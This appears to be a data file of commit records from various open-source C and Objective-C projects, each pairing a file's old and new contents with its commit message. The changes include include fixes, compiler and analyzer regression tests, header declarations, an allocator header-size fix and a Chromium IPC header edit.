{"commit":"a7bbc288ca4149eb804a9e5152c33dbe07f431fe","old_file":"src\/rtcmix\/funderflow.c","new_file":"src\/rtcmix\/funderflow.c","old_contents":"#ifdef sgi\n#include <sys\/fpu.h>\n\n\/*\nTHE FOLLOWING FUNCTION\nsets the special \"flush zero\" but (FS, bit 24) in the\nControl Status Register of the FPU of R4k and beyond\nso that the result of any underflowing operation will\nbe clamped to zero, and no exception of any kind will\nbe generated on the CPU.  This has no effect on\nan R3000.\n*\/\n\nvoid flush_all_underflows_to_zero()\n{\n\tunion fpc_csr f;\n\tf.fc_word = get_fpc_csr();\n\tf.fc_struct.flush = 1;\n\tset_fpc_csr(f.fc_word);\n}\n#endif\n\n#ifdef LINUX\n\n#include <stdio.h>\n#include <signal.h>\n#include <unistd.h>\n\nvoid sigfpe_handler(int sig)\n{\n   fprintf(stderr,\n           \"\\nRTcmix FATAL ERROR: floating point exception halted process.\\n\");\n   exit(1);\n}\n\n#endif\n\n","new_contents":"#ifdef sgi\n#include <sys\/fpu.h>\n\n\/*\nTHE FOLLOWING FUNCTION\nsets the special \"flush zero\" but (FS, bit 24) in the\nControl Status Register of the FPU of R4k and beyond\nso that the result of any underflowing operation will\nbe clamped to zero, and no exception of any kind will\nbe generated on the CPU.  This has no effect on\nan R3000.\n*\/\n\nvoid flush_all_underflows_to_zero()\n{\n\tunion fpc_csr f;\n\tf.fc_word = get_fpc_csr();\n\tf.fc_struct.flush = 1;\n\tset_fpc_csr(f.fc_word);\n}\n#endif\n\n#ifdef LINUX\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <signal.h>\n\nvoid sigfpe_handler(int sig)\n{\n   fprintf(stderr,\n           \"\\nRTcmix FATAL ERROR: floating point exception halted process.\\n\");\n   exit(1);\n}\n\n#endif\n\n","subject":"Fix include from last checkin.","message":"Fix include from last checkin.\n","lang":"C","license":"apache-2.0","repos":"RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix"}
{"commit":"a8037f55854706a8d4c66e71ab14f8f3628ae4ee","old_file":"cc1\/tests\/test061.c","new_file":"cc1\/tests\/test061.c","old_contents":"","new_contents":"\/*\nname: TEST061\ndescription: Test for macros without arguments but with parenthesis\nerror:\noutput:\nG3\tI\tF\t\"main\n{\n\\\n\th\t#I1\n}\n*\/\n\n#define X (2)\n#define L (0)\n#define H (1)\n#define Q(x) x\n\nint\nmain(void)\n{\n\treturn X == L + H + Q(1);\n}\n","subject":"Add test for non macro alike functions with paranthesis","message":"[cc1] Add test for non macro alike functions with paranthesis\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/scc,k0gaMSX\/scc"}
{"commit":"6541894e50b82b4f2f2dd5a875ee37c5645f6c85","old_file":"JTFadingInfoViewController\/JTFadingInfoViewController.h","new_file":"JTFadingInfoViewController\/JTFadingInfoViewController.h","old_contents":"\/\/\n\/\/  JTFadingInfoViewController.h\n\/\/  JTFadingInfoViewController\n\/\/\n\/\/  Created by DCL_JT on 2015\/07\/29.\n\/\/  Copyright (c) 2015年 Junichi Tsurukawa. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\n@interface JTFadingInfoViewController : UIViewController\n\n\n@end\n","new_contents":"\/\/\n\/\/  JTFadingInfoViewController.h\n\/\/  JTFadingInfoViewController\n\/\/\n\/\/  Created by DCL_JT on 2015\/07\/29.\n\/\/  Copyright (c) 2015年 Junichi Tsurukawa. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n#pragma mark - Fade in\/out options\ntypedef enum {\n  FadeInFromAbove = 1,\n  FadeInFromBelow,\n  FadeInFromLeft,\n  FadeInFromRight\n} FadeInType;\n\ntypedef enum {\n  FadeOutToAbove = 1,\n  FadeOutToBelow,\n  FadeOutToLeft,\n  FadeOutToRight\n} FadeOutType;\n\n@interface JTFadingInfoViewController : UIViewController\n\n#pragma mark - Functions\n\/*\n * Add subView with Selected Type of Fading in.\n *\n * @param view     A view to be added.\n * @param fadeType A Type of Fading when appering.\n *\n *\/\n- (void)addSubView:(UIView *)view WithFade:(FadeInType)fadeType;\n\n\/*\n * Remove subView from SuperView with Selected Type of Fading out.\n *\n * @param fadeType A Type of Fading when disappering.\n *\n *\/\n- (void)removeFromSuperViewWithFade: (FadeInType)fadeType;\n\n\/*\n * ~SOME DESCRIPTION GOES HERE~\n *\n * @param fadeInType  A Type of Fading when appering.\n *\n * @param duration    Time for displaying the view.\n *\n * @param fadeOutType A Type of Fading when disappering.\n *\/\n- (void)showSubView: (UIView *)view withAppearType: (FadeInType)fadeInType\n                                      showDuration: (float)duration\n                                  withDisapperType: (FadeOutType)fadeOutType;\n\n#pragma mark - Properties\n#pragma Shadow\n\/** A Boolean value for whether the shadow effect is enabled or not. *\/\n@property BOOL isShadowEnabled;\n\n#pragma Animatoins\n\/** A float represeting the time for displaying this view itself. If 0, view will not disapper *\/\n@property float displayDuration;\n\/** A float representing the time the view is appeared by. *\/\n@property float appearingDuration;\n\/** A float representing the time the view is disappeared by. *\/\n@property float disappearingDuration;\n\n\n@end\n","subject":"Determine initial properties and functions","message":"Determine initial properties and functions\n","lang":"C","license":"mit","repos":"mohsinalimat\/JTFadingInfoView,JunichiT\/JTFadingInfoView,machelix\/JTFadingInfoView,gaurav1981\/JTFadingInfoView,carabina\/JTFadingInfoView"}
{"commit":"1a10f81750d935eaf84b6ea02d39201471b5fa84","old_file":"pmpa_internals.h","new_file":"pmpa_internals.h","old_contents":"\/*\n * pmpa_internals.h\n * Part of pmpa\n * Copyright (c) 2014 Philip Wernersbach\n *\n * Dual-Licensed under the Public Domain and the Unlicense.\n * Choose the one that you prefer.\n *\/\n\n#ifndef HAVE_PMPA_INTERNALS_H\n\n#include <stdbool.h>\n#include <pmpa.h>\n\ntypedef struct {\n\tpmpa_memory_int size;\n\tbool allocated;\n\tchar data;\n} pmpa_memory_block;\n\n#define PMPA_MEMORY_BLOCK_HEADER_SIZE ( sizeof(pmpa_memory_int) + sizeof(bool) )\n\n#ifdef PMPA_UNIT_TEST\n#define PMPA_STATIC_UNLESS_TESTING\nextern PMPA_STATIC_UNLESS_TESTING __thread pmpa_memory_block *master_memory_block;\nextern PMPA_STATIC_UNLESS_TESTING __thread pmpa_memory_int master_memory_block_size;\n#else\n#define PMPA_STATIC_UNLESS_TESTING static\n#endif\n\n#define HAVE_PMPA_INTERNALS_H\n#endif","new_contents":"\/*\n * pmpa_internals.h\n * Part of pmpa\n * Copyright (c) 2014 Philip Wernersbach\n *\n * Dual-Licensed under the Public Domain and the Unlicense.\n * Choose the one that you prefer.\n *\/\n\n#ifndef HAVE_PMPA_INTERNALS_H\n\n#include <stddef.h>\n#include <stdbool.h>\n#include <pmpa.h>\n\ntypedef struct {\n\tpmpa_memory_int size;\n\tbool allocated;\n\tchar data;\n} pmpa_memory_block;\n\n#define PMPA_MEMORY_BLOCK_HEADER_SIZE ( offsetof(pmpa_memory_block, data) )\n\n#ifdef PMPA_UNIT_TEST\n#define PMPA_STATIC_UNLESS_TESTING\nextern PMPA_STATIC_UNLESS_TESTING __thread pmpa_memory_block *master_memory_block;\nextern PMPA_STATIC_UNLESS_TESTING __thread pmpa_memory_int master_memory_block_size;\n#else\n#define PMPA_STATIC_UNLESS_TESTING static\n#endif\n\n#define HAVE_PMPA_INTERNALS_H\n#endif","subject":"Use offsetof() to compute the memory block header size.","message":"Use offsetof() to compute the memory block header size.\n\nOn compilers that don’t pad structs to alignment, this is equivalent to\nusing the sizeof() method. On compilers that do pad structs to\nalignment, the sizeof() method will yield the wrong size, whereas this\nmethod will work.\n","lang":"C","license":"unlicense","repos":"philip-wernersbach\/memory-pool-allocator"}
{"commit":"de3c64e26ebd118771a85932b964a52acd7c7287","old_file":"payload\/Bmp180.h","new_file":"payload\/Bmp180.h","old_contents":"","new_contents":"#ifndef RCR_LEVEL1PAYLOAD_BMP180_H_\n#define RCR_LEVEL1PAYLOAD_BMP180_H_\n\n#if defined(ARDUINO) && ARDUINO >= 100\n\t#include \"arduino.h\"\n#else\n\t#include \"WProgram.h\"\n#endif\n\nnamespace rcr {\nnamespace level1payload {\n} \/\/ namespace level1_payload\n} \/\/ namespace rcr\n\n#endif \/\/ RCR_LEVEL1PAYLOAD_BMP180_H_\n","subject":"Add header for Bmp custom type","message":"Add header for Bmp custom type\n","lang":"C","license":"mit","repos":"nolanholden\/geovis,nolanholden\/geovis,nolanholden\/geovis,nolanholden\/payload-level1-rocket"}
{"commit":"a6b11e049ace86d58eb016015b598c5b8ed1655c","old_file":"MagicalRecord\/Categories\/DataImport\/MagicalImportFunctions.h","new_file":"MagicalRecord\/Categories\/DataImport\/MagicalImportFunctions.h","old_contents":"\/\/\n\/\/  MagicalImportFunctions.h\n\/\/  Magical Record\n\/\/\n\/\/  Created by Saul Mora on 3\/7\/12.\n\/\/  Copyright (c) 2012 Magical Panda Software LLC. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <MagicalRecord\/MagicalRecordXcode7CompatibilityMacros.h>\n\nNSDateFormatter * __MR_nonnull MR_dateFormatterWithFormat(NSString *format);\nNSDate * __MR_nonnull MR_adjustDateForDST(NSDate *__MR_nonnull date);\nNSDate * __MR_nonnull MR_dateFromString(NSString *__MR_nonnull value, NSString *__MR_nonnull format);\nNSDate * __MR_nonnull MR_dateFromNumber(NSNumber *__MR_nonnull value, BOOL milliseconds);\nNSNumber * __MR_nonnull MR_numberFromString(NSString *__MR_nonnull value);\nNSString * __MR_nonnull MR_attributeNameFromString(NSString *__MR_nonnull value);\nNSString * __MR_nonnull MR_primaryKeyNameFromString(NSString *__MR_nonnull value);\n\n#if TARGET_OS_IPHONE\n#import <UIKit\/UIKit.h>\nUIColor * __MR_nullable MR_colorFromString(NSString *__MR_nonnull serializedColor);\n#else\n#import <AppKit\/AppKit.h>\nNSColor * __MR_nullable MR_colorFromString(NSString *__MR_nonnull serializedColor);\n#endif\n\nNSInteger * __MR_nullable MR_newColorComponentsFromString(NSString *__MR_nonnull serializedColor);\n","new_contents":"\/\/\n\/\/  MagicalImportFunctions.h\n\/\/  Magical Record\n\/\/\n\/\/  Created by Saul Mora on 3\/7\/12.\n\/\/  Copyright (c) 2012 Magical Panda Software LLC. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <MagicalRecord\/MagicalRecordXcode7CompatibilityMacros.h>\n\nNSDateFormatter * __MR_nonnull MR_dateFormatterWithFormat(NSString *__MR_nonnull format);\nNSDate * __MR_nonnull MR_adjustDateForDST(NSDate *__MR_nonnull date);\nNSDate * __MR_nonnull MR_dateFromString(NSString *__MR_nonnull value, NSString *__MR_nonnull format);\nNSDate * __MR_nonnull MR_dateFromNumber(NSNumber *__MR_nonnull value, BOOL milliseconds);\nNSNumber * __MR_nonnull MR_numberFromString(NSString *__MR_nonnull value);\nNSString * __MR_nonnull MR_attributeNameFromString(NSString *__MR_nonnull value);\nNSString * __MR_nonnull MR_primaryKeyNameFromString(NSString *__MR_nonnull value);\n\n#if TARGET_OS_IPHONE\n#import <UIKit\/UIKit.h>\nUIColor * __MR_nullable MR_colorFromString(NSString *__MR_nonnull serializedColor);\n#else\n#import <AppKit\/AppKit.h>\nNSColor * __MR_nullable MR_colorFromString(NSString *__MR_nonnull serializedColor);\n#endif\n\nNSInteger * __MR_nullable MR_newColorComponentsFromString(NSString *__MR_nonnull serializedColor);\n","subject":"Add the missing nullability annotation","message":"Add the missing nullability annotation\n","lang":"C","license":"mit","repos":"yiplee\/MagicalRecord,yiplee\/MagicalRecord"}
{"commit":"9ebc8db0a72fd67a73e7a1e0c371d41b2b1f6bdf","old_file":"main\/main_gpio.c","new_file":"main\/main_gpio.c","old_contents":"#include <stdio.h>\n#include <freertos\/FreeRTOS.h>\n#include <freertos\/task.h>\n#include \"esp_wifi.h\"\n#include \"esp_system.h\"\n\nvoid app_main(void)\n{\n    gpio_set_direction(GPIO_NUM_5, GPIO_MODE_OUTPUT);\n    int level = 0;\n\n    while (true) {\n        printf(\"Hello, world.\\n\");\n        gpio_set_level(GPIO_NUM_5, level);\n        level = !level;\n        vTaskDelay(1000 \/ portTICK_PERIOD_MS);\n    }\n}\n","new_contents":"#include <stdio.h>\n#include <freertos\/FreeRTOS.h>\n#include <freertos\/task.h>\n#include \"esp_wifi.h\"\n#include \"esp_system.h\"\n\nvoid app_main(void)\n{\n    gpio_set_direction(GPIO_NUM_5, GPIO_MODE_OUTPUT);\n    int level = 0;\n\n    while (true) {\n        printf(\"Hello, world.\\n\");\n        gpio_set_level(GPIO_NUM_5, level);\n        level = !level;\n        vTaskDelay(500 \/ portTICK_PERIOD_MS);\n    }\n}\n","subject":"Speed up default blink to disambiguate from default program on Sparkfun board.","message":"Speed up default blink to disambiguate from default program on Sparkfun board.\n","lang":"C","license":"apache-2.0","repos":"cmason1978\/esp32-examples,cmason1978\/esp32-examples"}
{"commit":"279443da2f3938554c2e99abf77ff00acb3ec889","old_file":"test\/Driver\/at_file_missing.c","new_file":"test\/Driver\/at_file_missing.c","old_contents":"","new_contents":"\/\/ Make sure that arguments that begin with @ are left as is in the argument\n\/\/ stream, and also that @file arguments continue to be processed.\n\n\/\/ RUN: echo \"%s -D FOO\" > %t.args\n\/\/ RUN: %clang -rpath @executable_path\/..\/lib @%t.args -### 2>&1 | FileCheck %s\n\/\/ CHECK: \"-D\" \"FOO\"\n\/\/ CHECK: \"-rpath\" \"@executable_path\/..\/lib\"\n","subject":"Check that @ arguments that aren't files are handled","message":"test\/Driver: Check that @ arguments that aren't files are handled\n\nThis tests the bug fix in llvm r196620.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@196621 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"ab28a98e50d0b686a4e4f2343459b2ff4a1812ec","old_file":"include\/aerial_autonomy\/actions_guards\/land_functors.h","new_file":"include\/aerial_autonomy\/actions_guards\/land_functors.h","old_contents":"#pragma once\n#include <aerial_autonomy\/actions_guards\/base_functors.h>\n#include <aerial_autonomy\/logic_states\/base_state.h>\n#include <aerial_autonomy\/robot_systems\/uav_system.h>\n#include <aerial_autonomy\/basic_events.h>\n#include <aerial_autonomy\/types\/completed_event.h>\n#include <parsernode\/common.h>\n\nusing namespace basic_events;\n\ntemplate <class LogicStateMachineT>\nstruct LandTransitionActionFunctor_\n    : ActionFunctor<Land, UAVSystem, LogicStateMachineT> {\n  void run(const Land &, UAVSystem &robot_system, LogicStateMachineT &) {\n    robot_system.land();\n  }\n};\n\n\/\/ TODO (Gowtham) How to abort Land??\n\ntemplate <class LogicStateMachineT>\nstruct LandInternalActionFunctor_\n    : InternalActionFunctor<UAVSystem, LogicStateMachineT> {\n  void run(const InternalTransitionEvent &, UAVSystem &robot_system,\n           LogicStateMachineT &logic_state_machine) {\n    parsernode::common::quaddata data = robot_system.getUAVData();\n    \/\/ Can also use uav status here TODO (Gowtham)\n    if (data.altitude < 0.1) {\n      logic_state_machine.process_event(Completed());\n    }\n  }\n};\n\ntemplate <class LogicStateMachineT>\nusing Landing_ = BaseState<UAVSystem, LogicStateMachineT,\n                           LandInternalActionFunctor_<LogicStateMachineT>>;\n","new_contents":"#pragma once\n#include <aerial_autonomy\/actions_guards\/base_functors.h>\n#include <aerial_autonomy\/logic_states\/base_state.h>\n#include <aerial_autonomy\/robot_systems\/uav_system.h>\n#include <aerial_autonomy\/basic_events.h>\n#include <aerial_autonomy\/types\/completed_event.h>\n#include <parsernode\/common.h>\n\nusing namespace basic_events;\n\ntemplate <class LogicStateMachineT>\nstruct LandTransitionActionFunctor_\n    : ActionFunctor<Land, UAVSystem, LogicStateMachineT> {\n  void run(const Land &, UAVSystem &robot_system, LogicStateMachineT &) {\n    robot_system.land();\n  }\n};\n\n\/\/ TODO (Gowtham) How to abort Land??\n\ntemplate <class LogicStateMachineT>\nstruct LandInternalActionFunctor_\n    : InternalActionFunctor<UAVSystem, LogicStateMachineT> {\n  void run(const InternalTransitionEvent &, UAVSystem &robot_system,\n           LogicStateMachineT &logic_state_machine) {\n    parsernode::common::quaddata data = robot_system.getUAVData();\n    std::cout << data.altitude << std::endl;\n    \/\/ Can also use uav status here TODO (Gowtham)\n    if (data.altitude < 0.1) {\n      logic_state_machine.process_event(Completed());\n    }\n  }\n};\n\ntemplate <class LogicStateMachineT>\nusing Landing_ = BaseState<UAVSystem, LogicStateMachineT,\n                           LandInternalActionFunctor_<LogicStateMachineT>>;\n","subject":"Add tests for land, takeoff, position control funs","message":"Add tests for land, takeoff, position control funs\n","lang":"C","license":"mpl-2.0","repos":"jhu-asco\/aerial_autonomy,jhu-asco\/aerial_autonomy,jhu-asco\/aerial_autonomy,jhu-asco\/aerial_autonomy,jhu-asco\/aerial_autonomy,jhu-asco\/aerial_autonomy"}
{"commit":"68165f179e1e617702fe640ccbeccf2e9eb7b6c3","old_file":"src\/aker_mem.c","new_file":"src\/aker_mem.c","old_contents":"\/**\n * Copyright 2017 Comcast Cable Communications Management, LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n#include <stdbool.h>\n#include <string.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <stdio.h>\n\nvoid *aker_malloc(size_t size)\n{\n    return aker_malloc(size);\n}\n\nvoid aker_free   (void *ptr)\n{\n    aker_free(ptr);\n}\n","new_contents":"\/**\n * Copyright 2017 Comcast Cable Communications Management, LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n#include <stdbool.h>\n#include <string.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <stdio.h>\n\nvoid *aker_malloc(size_t size)\n{\n    return malloc(size);\n}\n\nvoid aker_free   (void *ptr)\n{\n    free(ptr);\n}\n","subject":"Correct error on previous commit.","message":"Correct error on previous commit.\n","lang":"C","license":"apache-2.0","repos":"Comcast\/aker,Comcast\/aker"}
{"commit":"dc8b63122e4941d7b80e524b95884f390319eb9e","old_file":"tests\/regression\/32-loop-termination\/08-counter_for.c","new_file":"tests\/regression\/32-loop-termination\/08-counter_for.c","old_contents":"","new_contents":"\/\/ PARAM: --enable dbg.debug --enable ana.int.interval\n\nint main() {\n    int t1 = 0, t2 = 0;\n    int i;\n    for (i = 0; i < 5; i++) {\n        t1++;\n        t2--;\n    }\n    assert(t1 == i); \/\/SUCCESS!\n\n    t1 = 5;\n    t2 = 5;\n    for (i = 5; i > 0; i--) {\n        t1++;\n        t2--;\n    }\n    assert(t2 == i); \/\/SUCCESS! \n\n    t1 = 0;\n    t2 = 0;\n    for (i = 0; i < 5; i--) {\n        t1++;\n        t2--;\n    }\n    assert(t1 == i); \/\/FAIL!\n    return 0;\n}","subject":"Add an example for simple loops","message":"Add an example for simple loops\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"32c7bf1139fd00449de620d569c0b717cdeeb927","old_file":"BDSKDragImageView.h","new_file":"BDSKDragImageView.h","old_contents":"","new_contents":"\/\/\n\/\/  BDSKDragImageView.h\n\/\/  Bibdesk\n\/\/\n\/\/  Created by Christiaan Hofman on 28\/11\/05.\n\/*\n This software is Copyright (c) 2005,2006,2007\n Christiaan Hofman. All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions\n are met:\n\n - Redistributions of source code must retain the above copyright\n   notice, this list of conditions and the following disclaimer.\n\n - Redistributions in binary form must reproduce the above copyright\n    notice, this list of conditions and the following disclaimer in\n    the documentation and\/or other materials provided with the\n    distribution.\n\n - Neither the name of Christiaan Hofman nor the names of any\n    contributors may be used to endorse or promote products derived\n    from this software without specific prior written permission.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#import <Cocoa\/Cocoa.h>\n\n\n@interface BDSKDragImageView : NSImageView {\n\tid delegate;\n\tBOOL highlight;\n} \n\n- (id)delegate;\n- (void)setDelegate:(id)newDelegate;\n\n@end\n\n@interface NSObject (BDSKDragImageViewDelegate)\n- (NSDragOperation)dragImageView:(BDSKDragImageView *)view validateDrop:(id <NSDraggingInfo>)sender;\n- (BOOL)dragImageView:(BDSKDragImageView *)view acceptDrop:(id <NSDraggingInfo>)sender;\n- (BOOL)dragImageView:(BDSKDragImageView *)view writeDataToPasteboard:(NSPasteboard *)pasteboard;\n- (NSArray *)dragImageView:(BDSKDragImageView *)view namesOfPromisedFilesDroppedAtDestination:(NSURL *)dropDestination;\n- (NSImage *)dragImageForDragImageView:(BDSKDragImageView *)view;\n@end\n","subject":"Copy dragImageView from bibdesk to skim","message":"Copy dragImageView from bibdesk to skim\n","lang":"C","license":"bsd-3-clause","repos":"JackieXie168\/skim,JackieXie168\/skim,JackieXie168\/skim,JackieXie168\/skim,JackieXie168\/skim"}
{"commit":"0dc22e80a2b29f468249fc77945611a7283b8a32","old_file":"tests\/regression\/27-inv_invariants\/02-bot-during-condition.c","new_file":"tests\/regression\/27-inv_invariants\/02-bot-during-condition.c","old_contents":"","new_contents":"int main ()\n{\n  int tmp;\n  int p_9 = 60;\n\n  tmp = (p_9 +1) % 0;\n\n  if ((p_9 +1) % 0) {\n    tmp = 1;\n  }\n\n  return (0);\n}\n","subject":"Add problematic example, bot in invariant","message":"Add problematic example, bot in invariant\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"fad2a3cf8fd4c75268dc46bbc7dddb48baeddf14","old_file":"src\/datetime.c","new_file":"src\/datetime.c","old_contents":"\/**\n * Copyright (c) 2015, Chao Wang <hit9@icloud.com>\n *\/\n\n#include <time.h>\n#include <sys\/time.h>\n\n\/* Get timestamp (in milliseconds) for now. *\/\ndouble\ndatetime_stamp_now(void)\n{\n    struct timeval tv;\n    gettimeofday(&tv, NULL);\n    return (1000000 * tv.tv_sec + tv.tv_usec) \/ 1000.0;\n}\n","new_contents":"\/**\n * Copyright (c) 2015, Chao Wang <hit9@icloud.com>\n *\/\n\n#include <assert.h>\n#include <time.h>\n#include <sys\/time.h>\n\n\/* Get timestamp (in milliseconds) for now. *\/\ndouble\ndatetime_stamp_now(void)\n{\n#if defined CLOCK_REALTIME\n    struct timespec ts;\n    int rc = clock_gettime(CLOCK_REALTIME, &ts);\n    assert(rc == 0);\n    return ts.tv_sec * 1000 + ts.tv_nsec \/ 1000000.0;\n#else\n    struct timeval tv;\n    gettimeofday(&tv, NULL);\n    return (1000000 * tv.tv_sec + tv.tv_usec) \/ 1000.0;\n#endif\n}\n","subject":"Use clock_gettime if have (linux\/bsd but not apple)","message":"Use clock_gettime if have (linux\/bsd but not apple)\n","lang":"C","license":"bsd-2-clause","repos":"hit9\/C-Snip,hit9\/C-Snip"}
{"commit":"d494380487e6ed926ea0ef8a74ec2772022e9bed","old_file":"content\/common\/child_process_messages.h","new_file":"content\/common\/child_process_messages.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Common IPC messages used for child processes.\n\/\/ Multiply-included message file, hence no include guard.\n\n#include \"googleurl\/src\/gurl.h\"\n#include \"ipc\/ipc_message_macros.h\"\n\n#define IPC_MESSAGE_START ChildProcessMsgStart\n\n\/\/ Messages sent from the browser to the child process.\n\n\/\/ Tells the child process it should stop.\nIPC_MESSAGE_CONTROL0(ChildProcessMsg_AskBeforeShutdown)\n\n\/\/ Sent in response to ChildProcessHostMsg_ShutdownRequest to tell the child\n\/\/ process that it's safe to shutdown.\nIPC_MESSAGE_CONTROL0(ChildProcessMsg_Shutdown)\n\n#if defined(IPC_MESSAGE_LOG_ENABLED)\n\/\/ Tell the child process to begin or end IPC message logging.\nIPC_MESSAGE_CONTROL1(ChildProcessMsg_SetIPCLoggingEnabled,\n                     bool \/* on or off *\/)\n#endif\n\n\/\/ Messages sent from the child process to the browser.\n\nIPC_MESSAGE_CONTROL0(ChildProcessHostMsg_ShutdownRequest)\n\n\/\/ Get the list of proxies to use for |url|, as a semicolon delimited list\n\/\/ of \"<TYPE> <HOST>:<PORT>\" | \"DIRECT\".\nIPC_SYNC_MESSAGE_CONTROL1_2(ChildProcessHostMsg_ResolveProxy,\n                            GURL \/* url *\/,\n                            int \/* network error *\/,\n                            std::string \/* proxy list *\/)","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Common IPC messages used for child processes.\n\/\/ Multiply-included message file, hence no include guard.\n\n#include \"googleurl\/src\/gurl.h\"\n#include \"ipc\/ipc_message_macros.h\"\n\n#define IPC_MESSAGE_START ChildProcessMsgStart\n\n\/\/ Messages sent from the browser to the child process.\n\n\/\/ Tells the child process it should stop.\nIPC_MESSAGE_CONTROL0(ChildProcessMsg_AskBeforeShutdown)\n\n\/\/ Sent in response to ChildProcessHostMsg_ShutdownRequest to tell the child\n\/\/ process that it's safe to shutdown.\nIPC_MESSAGE_CONTROL0(ChildProcessMsg_Shutdown)\n\n#if defined(IPC_MESSAGE_LOG_ENABLED)\n\/\/ Tell the child process to begin or end IPC message logging.\nIPC_MESSAGE_CONTROL1(ChildProcessMsg_SetIPCLoggingEnabled,\n                     bool \/* on or off *\/)\n#endif\n\n\/\/ Messages sent from the child process to the browser.\n\nIPC_MESSAGE_CONTROL0(ChildProcessHostMsg_ShutdownRequest)\n\n\/\/ Get the list of proxies to use for |url|, as a semicolon delimited list\n\/\/ of \"<TYPE> <HOST>:<PORT>\" | \"DIRECT\".\nIPC_SYNC_MESSAGE_CONTROL1_2(ChildProcessHostMsg_ResolveProxy,\n                            GURL \/* url *\/,\n                            int \/* network error *\/,\n                            std::string \/* proxy list *\/)\n","subject":"Add newline at end of file","message":"Add newline at end of file\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@78227 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"adobe\/chromium,ropik\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,gavinp\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,ropik\/chromium,ropik\/chromium,yitian134\/chromium,ropik\/chromium,ropik\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,yitian134\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium"}
